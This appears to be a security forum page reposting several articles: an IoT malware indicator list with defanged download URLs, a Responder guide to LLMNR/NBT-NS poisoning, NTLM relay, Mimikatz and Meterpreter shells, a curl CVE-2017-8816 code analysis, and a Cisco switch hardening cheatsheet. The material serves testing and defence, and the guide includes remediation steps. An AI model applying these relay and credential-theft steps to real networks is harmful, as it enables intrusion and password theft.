3987eca1904bfa41e8b5c6ae66b007c216832b923a7372e8f7d1b6a8f639621b United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.arm4 b880aa7a19dd9373d1d990ba75b5c338082f71d355a59cd01d787ce0f1646fe7 United States AS14061 22nd July 2018 hxxp://217[.]61[.]113[.]30/bins.sh c709139716180c26caae40d01e6edfbf4716b98d4e9a37322491412f9df7f23e United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/ntpd e3d96f764addb93459392ca4e82451ca8d60406e9c361e03ba36f39137f49a31 United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/sshd 99825df2e8629c8cba55eb33e1accfa0f725e15a663b3ddf59a06f3c170d27bd United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/openssh a882949feb1e4d44b3df69e7e3f7bbc7dd2ef64aeb15a78ebf37ee7a2314c2ef United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/bash 97736104d1aa9f365d1d2be512169057f5dd308a5cd858b22c032c7c605484ec United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/tftp de6999b43624d3e5b5748c3c4aa10804c096122d854421b064199ec240d758b7 United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/wget 2e9aae8d7e87a9cf1eb67d80ca0aff85095dfbc35e0f5aee0648842cae873ab5 United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/cron 2f8e1b5064cf08383debb5c0382a4e3e378bdbdd1068419ef78124d0868975cd United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/ftp f9a2f6c79657a603c3c53448566e44933ed63263f1c430a5e0967a5d0526dc03 United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/pftp 65ef0f3238fcacf574c0f78986feed47554f0fd5e6ba2cd5b964065e931c6fcd United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/sh 39ad8da8cfcb05d5eada715301e89d36b803eff78f77c08150b59dff7b98b9cd United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/[cpu] b0aa03bf0336d3a061e0a9201b802a5574c9e1b3c42f2c56352bb33a865bbabc United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/apache2 4af84347666492b031694ec9abad70d249e233399c99f9f8f68938aaed7d06c4 United Kingdom AS199883 22nd July 2018 hxxp://185[.]172[.]164[.]41/rt e5aa330103b5f0ecb945b0e268dfed88cbe70c1bd3442ac63271699d18bb38cf Netherlands AS62068 21st July 2018 hxxp://192[.]0[.]27[.]69/a21jj 0636d8749ecb285c293dc533c9b7690ba17ac7902488bf39164129a12d54c1c3 United States AS11282 21st July 2018 hxxp://192[.]0[.]27[.]69/do3309 7358b6fc402681a3585d7cd69763d4b8f0c3093d746b85a35205b77e5b26e13d United States AS11282 21st July 2018 hxxp://192[.]0[.]27[.]69/isu80 2815c35a00c6abadc22aa61b888cb144bc51458d08196794f15d06851d185b1d United States AS11282 21st July 2018 hxxp://192[.]0[.]27[.]69/s443ls 2409fb21fe377f7e12dda392f26d7c93b7715239169d362dd907fe499ab38ee9 United States AS11282 21st July 2018 hxxp://81[.]130[.]144[.]84:51074 a04ac6d98ad989312783d4fe3456c53730b212c79a426fb215708b6c6daa3de3 United Kingdom AS2856 21st July 2018 hxxp://203[.]146[.]208[.]208/drago/images/.ssh/y.txt f729d996c6d71b0d376c19d20d0f4370a5e7c368767c84c57df84972be7731c4 Thailand AS4750 21st July 2018 hxxp://206[.]189[.]96[.]61/bins.sh b93a507811557dec81de6ab7b94397f481b12b5f4db29c81430bd2618b91c955 United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/ntpd 86dc2584acb31cb834fab37f32a53df4312364ce93c7acace392db7c191ace73 United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/sshd 1f73c3a5c9e316b36b77e5f3a4836556a8b6a722e8bbe0beba76e415be7d5fd9 United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/openssh 1ab6bffea43e5df8ce091bff929a946afb888b76be0f1199f22f3d96bf7c0f0e United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/bash 136c895dd3f01d81bc0501a7f55d58261eb84a3edff26b591185afc53163921c United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/tftp 75143a69a9be96ed33b51658ce94e1bf3f378ad27f8e59f059e40ee29b2d09f2 United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/wget 3bc39e903110c7514dd0615596d88a4ef76ee6b57dffb56b30633d41c9a5fc9f United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/cron dc2eb1b37cb6fa5b03e2e382a9bf00b2e05f2bae44af23822e41cd81754f890a United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/ftp 4ebcbaad48723151e3b40fd416863384ce8ec51239c1a8f93af90f13f2b475fc United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/pftp af558d24f48561787dadbd38002eb2fe45773954d15758fdfba244d8086126c6 United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/sh 3273b592a0681ca683dde4326c865c1001d05a1470438b3af611a6f0937b4f87 United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/apache2 5d4689b8e423b3edd2f30eb231eea09700f5bb193e471b87d1347c8021000e6c United States AS14061 Sursa: https://github.com/jacobsoo/IoT-MalwareTracker

May 3, 2017 Overview: Responder is a great tool that every pentester needs in their arsenal. If a client/target cannot resolve a name via DNS it will fall back to name resolution via LLMNR (introduced in Windows Vista) and NBT-NS. Now, assuming we have Responder running we will essentially say ‘yeah, this is me’ to all of the LLMNR and NBT-NS requests that we see, and then traffic will be directed to us. Great. In this brief overview we shall be touching on a couple of the common uses as well as new functionality recently introduced by @pythonresponder. Targeting specific host(s): If you want to target a specific IP/range of IPs, you can edit Responder.conf and change the RespondTo argument. This is extremely useful when you have a specific target in sight and don’t want to potentially cause network-wide disruption. Additionally, it is also possible to specify the NBT-NS/LLMNR name by altering the RespondToName argument, although this is something I have yet to fully experiment with. In the following screenshot we have limited attacks to the host 192.168.10.17. Listen only mode: You can use Responder in listen only mode, i.e. analyse, but don’t actively respond to any requests. This can be achieved using the -A parameter and again this is a useful feature to see how chatty the network is without actively targeting any hosts. Active attacks: In the following example the attacking IP address is 192.168.10.206 and we are targeting a single host 192.168.10.17 via SMB. This is a common scenario in which a user mistypes the name of a server, hence the DNS lookup fails and name resolution falls back to NBT-NS and LLMNR. From the above Wireshark output it’s possible to see that 192.168.10.17 sends a NBNS query to the broadcast address 192.168.255.255, and the attacking host 192.168.10.206 immediately replies stating that it is in fact file-share-123 and returns it’s own IP within the response. It is also possible to see within the Wireshark capture that immediately after the NBNS request/response the same process happens over LLMNR but using the registered multicast address of 224.0.0.252. The keen eyed readers will also see that this process is also performed over IPv6 and the Multicast address of FF02::1:3 is used (details also available from the above link). The outcome of this is that the victim now believes that we are indeed file-share-123 and attempts to establish communications over SMB (TCP 445). From here we can continue to steal the NTLMv2 hash for the affected user (in this instance a local user called default) for offline cracking. And this is the SMB negotiation viewed through Wireshark… There’s plenty more to play and experiment with in Responder, but for now we’re going to move onto some of the more recent features added to this project. Multi-relay attacks: This is one of the newer features that @pythonresponder introduced towards the end of 2016. Using this tool we can relay our NTLMv1/2 authentication to a specific target and then, during a successful attack, execute code. Before we get into the nitty gritty of this attack it should be stated that only privileged users are targeted by default (good reasoning behind this) and the target cannot have SMB signing in place. A nice script RunFinger.py has been packaged within the tools directory of Responder and this allows us to verify the latter on our target(s) before actively targeting any hosts (it will become clear why we are targeting 192.168.11.17 with RunFinger.py instead of 192.168.10.17 shortly). In preparation of this attack we need to disable the SMB and HTTP servers used by Responder otherwise we’ll get some conflicts between this and Multi-relay (example shown below). For this following example we’ll disable these specific services within the Responder.conf file by changing the relevant service to “Off”. Job done. Again, running Responder with default options it is possible to see that these two services are now disabled. We are now going to poison responses for the victim 192.168.10.17 (as in previous examples), but we are also now going to relay our session authentication to a 2nd host 192.168.11.17. The syntax for this tool is show below, where the IP is the address to which you want to relay authentication and hopefully obtain shell access: python MultiRelay.py -t 192.168.11.17 -u ALL In the following example the host is a default installation of Windows 10 and the victim user currently authenticated to 192.168.10.17 is a local administrator user named default. Within the below output it’s possible to see that this user is whitelisted (we specified -u ALL as a parameter), but access to the relayed host 192.168.11.17 is denied. Multi-relay is doing us a favour here and doesn’t continue to attempt to authenticate to the host which could potentially lock accounts out very quickly. Nice touch. Spoiler; both 192.168.10.17 and 192.168.11.17 have the same account/credentials configured. Viewing this in Wireshark reveals the following (heavily condensed view). So we have an administrative user (who actually has valid credentials on the host), but it’s not the default administrator account with RID 500. Let’s run the attack again, but this time we’ll target the local administrator account with RID 500. Ah, success! So we have successfully relayed authentication for the default RID 500 from the victim 192.168.10.17 and gained shell access on 192.168.11.17 as both hosts use the same local administrator account credentials. It should also be mentioned that both are domain members and not standalone workgroup based systems. The following Wireshark output shows only the smb traffic involved within this initial relay communication where we can clearly see the relay route 192.168.10.17 (poisoned victim) > 192.168.10.206 (attacker) > 192.168.11.17 (relay target). Multi-relay functionality: This is where Multi-relay now comes into its own. At the end of March this year @pythonresponder alongside @gentilkiwi added Mimikatz integration (amongst a few other fun tools) that makes obtaining credentials/hashes a breeze. Let’s experiment with these; we currently have a Multi-relay shell on 192.168.11.17 and we can easily invoke standard Mimikatz functions by using the mimi command (or mimi32 if we’re targeting a 32-bit host). Other useful functionality includes the super quick SMB scanner that can be used to find other potential targets within the network. A example of this is shown in the following screenshot from which a /16 range was supplied (our example network is a 192.168.0.0/16 with each 192.168.X.0/24 range having identical systems for student lab work). Let’s play with one last feature of Multi-relay and use this tool to spawn every pentesters favourite shell, Meterpreter. Firstly we’ll need to configure an appropriate listener in msf and for this example we will be using exploit/multi/script/web_delivery. Without going into specific detail about this exploit, this will be hosted on our attacking system 192.168.10.206, some basic options have been set and PowerShell has been configured as the target. Returning to the Multi-relay shell we can now run our favourite IEX command and hopefully pop some more shells. Notice that we’re not expecting any output here so the “something went wrong…” output can generally be ignored in this specific case. Returning to the msf web_delivery exploit we see some action and once the shell has landed we can use built-in Meterpreter tricks and/or post modules/functionality from within the msf framework as desired. Prevention & remediation activities: To tighten the security of your Windows systems the following tweaks can be made. Responder Disable LLMNR via group policy Open gpedit.msc and navigate to Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution and set to Enabled Disable NBT-NS This can be achieved by navigating through the GUI to Network card > Properties > IPv4 > Advanced > WINS and then under “NetBIOS setting” select Disable NetBIOS over TCP/IP Alternatively this task can be accomplished through modifying the registry by navigating to the following key and changing the value to 2 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\{$InterfaceID}\NetbiosOptions Multi-relay Enable SMB signing via group policy More details of SMB signing and the various values that can be defined can be found within the following links (a couple selected from a vast sea of information available from a quick Google search). It goes without saying that configurations will need to be thoroughly tested to ensure communication is unaffected and in a secure state. Sursa: https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/

Yesterday curl released a security advisory for a vulnerability reported by Alex Nichols. The vulnerable code is in lib/curl_ntlm_core.c of libcurl and specifically in Curl_ntlm_core_mk_ntlmv2_hash() function. Below you see the vulnerable function. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 /* This creates the NTLMv2 hash by using NTLM hash as the key and Unicode * (uppercase UserName + Domain) as the data */ CURLcode Curl_ntlm_core_mk_ntlmv2_hash(const char *user, size_t userlen, const char *domain, size_t domlen, unsigned char *ntlmhash, unsigned char *ntlmv2hash) { /* Unicode representation */ size_t identity_len = (userlen + domlen) * 2; unsigned char *identity = malloc(identity_len); CURLcode result = CURLE_OK; if(!identity) return CURLE_OUT_OF_MEMORY; ascii_uppercase_to_unicode_le(identity, user, userlen); ascii_to_unicode_le(identity + (userlen << 1), domain, domlen); result = Curl_hmac_md5(ntlmhash, 16, identity, curlx_uztoui(identity_len), ntlmv2hash); free(identity); return result; } The “identity_len” is calculating the sum of the username and password lengths, and multiplies the result by two. Then, the result is used to allocate a heap buffer via malloc() and the subsequent calls use the newly allocated “identity” heap buffer. However, if the username and password length is larger than 2GB on architectures were “size_t” data type is 32-bit the “(userlen + domlen) * 2”, it will result in an integer overflow which will leads in a tiny buffer being allocated via malloc() and resulting in a heap based buffer overflow in the subsequent calls. Below you can see how Daniel Stenberg patched lib/curl_ntlm_core.c to fix this vulnerability. First, a new pre-processor definition was added to ensure that the appropriate (per architecture) maximum value for “size_t” data type is set to the “SIZE_T_MAX” constant. 1 2 3 4 5 6 7 8 #ifndef SIZE_T_MAX /* some limits.h headers have this defined, some don't */ #if defined(SIZEOF_SIZE_T) && (SIZEOF_SIZE_T > 4) #define SIZE_T_MAX 18446744073709551615U #else #define SIZE_T_MAX 4294967295U #endif #endif And as expected, this new constant is used in Curl_ntlm_core_mk_ntlmv2_hash() function to ensure that the length calculation will not result in an integer overflow. In case it exceeds this limit the code will return “CURLE_OUT_OF_MEMORY” error code. You can see the diff below. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 /* Unicode representation */ - size_t identity_len = (userlen + domlen) * 2; - unsigned char *identity = malloc(identity_len); + size_t identity_len; + unsigned char *identity; CURLcode result = CURLE_OK; + /* we do the length checks below separately to avoid integer overflow risk + on extreme data lengths */ + if((userlen > SIZE_T_MAX/2) || + (domlen > SIZE_T_MAX/2) || + ((userlen + domlen) > SIZE_T_MAX/2)) + return CURLE_OUT_OF_MEMORY; + + identity_len = (userlen + domlen) * 2; + identity = malloc(identity_len); + if(!identity) Sursa: https://xorl.wordpress.com/2017/11/30/cve-2017-8816-curl-ntlm-authentication-buffer-overflow/

Cisco switch security features cheatsheet Published July 20, 2018 by Shahriar 0 Cisco switches (running IOS) have plenty of features that are critical to modern networks. Some are Cisco security features that eliminate several important attack vectors on layer 2. This is arguably the most important defense mechanism because ACLs and security mechanisms on software (layer 7) will sometimes fall short protecting the network because of the extreme complexity of communication up in this layer. So the earlier you close the holes the better! As an example security features like protected ports can effectively harden lateral movement in windows networks (Active Directory domains), also while being so dead simple compared to more advanced methods implemented on top of active directory itself. In this post I will give you the commands needed to implement some security features in a Cisco switch in a cheetsheet like manner. It is important to fully understand what each feature will do, as failing to do so and running the commands blindly may cause disruption in your network. Just look up each one and read about it. 🙂 Reading official Cisco CCNP books is super recommended! Port Security int INTERFACE switchport mode access switchport access vlan 123 #port security configuration starts here: switchport port-security maximum # switchport port-security aging type inactive switchport port-security aging time 5 switchport port-security violation restrict switchport port-security mac-address MAC switchport port-security mac-address sticky 1 2 3 4 5 6 7 8 9 10 11 int INTERFACE switchport mode access switchport access vlan 123 #port security configuration starts here: switchport port-security maximum # switchport port-security aging type inactive switchport port-security aging time 5 switchport port-security violation restrict switchport port-security mac-address MAC switchport port-security mac-address sticky These two commands show you port-security stats and make troubleshooting easier: show port-sec address show port-sec interface INTERFACE 1 2 show port-sec address show port-sec interface INTERFACE DHCP Snooping #(conf) ip dhcp snooping ip dhcp snooping vlan # interface INTERFACE ip dhcp snooping trust int USER-INTERFACE ip dhcp snooping limit rate #(pps) 1 2 3 4 5 6 7 8 9 #(conf) ip dhcp snooping ip dhcp snooping vlan # interface INTERFACE ip dhcp snooping trust int USER-INTERFACE ip dhcp snooping limit rate #(pps) Related show command: show ip dhcp snooping 1 show ip dhcp snooping Dynamic ARP Inspection ip arp inspection ip arp inspection vlan 123 interface INTERFACE ip arp inspection trust interface USER-INTERFACE ip arp inspection limit rate #(pps) 1 2 3 4 5 6 7 8 ip arp inspection ip arp inspection vlan 123 interface INTERFACE ip arp inspection trust interface USER-INTERFACE ip arp inspection limit rate #(pps) Related show command: show ip arp inspection vlan 123 1 show ip arp inspection vlan 123 IP Source Guard It requires DHCP snooping (or static ip/mac bindings) Port based: interface INTERFACE ip verify source(ip) port-security(mac) 1 2 interface INTERFACE ip verify source(ip) port-security(mac) Creating manual entries: ip source binding MAC vlan # IP_ADDRESS interface INTERFACE 1 ip source binding MAC vlan # IP_ADDRESS interface INTERFACE Related show command: show ip source binding 1 show ip source binding Protected ports Ports that cannot communicate with each other directly. ##private vlan edge aka protected ports : no direct traffic between those ports## interface INTERFACE switchport protected 1 2 3 4 ##private vlan edge aka protected ports : no direct traffic between those ports## interface INTERFACE switchport protected Spanning Tress root guard int INTERFACE spanning-tree guard root superior bpdu 1 2 int INTERFACE spanning-tree guard root superior bpdu STP BPDU Guard: with Spanning tree port-fast spanning-tree bpduguard enable 1 spanning-tree bpduguard enable Storm Control interface INTERFACE #(do not clip anymore – all specified traffic is dropped until end of duration [1s]) storm-conftrol broadcast level (bbp | pps | %) # # show storm-control b|m|u storm-control action ACTION 1 2 3 4 5 interface INTERFACE #(do not clip anymore – all specified traffic is dropped until end of duration [1s]) storm-conftrol broadcast level (bbp | pps | %) # # show storm-control b|m|u storm-control action ACTION I hope you like this post. I am looking forward to improving this post using your contributions in a wiki-like manner. so if you think of any other feature which would be nice to be included in this post, please comment or email me and I will add it here. Thanks 🙂 Sursa: https://rayanfam.com/topics/cisco-switch-sec-cheatsheet/

https://github.com/apple/cups

Nu se reproduce la ei, am incercat si eu. Nu e de la IPBoard, e de la singurul plugin amarat pe care il aveam si noi: https://invisioncommunity.com/files/file/8395-ne-hide-post-content/ L-am dezactivat si e ok acum.

L-am raportat, am acordat credite (evident). Revin cand am un raspuns de la ei. Multumim frumos!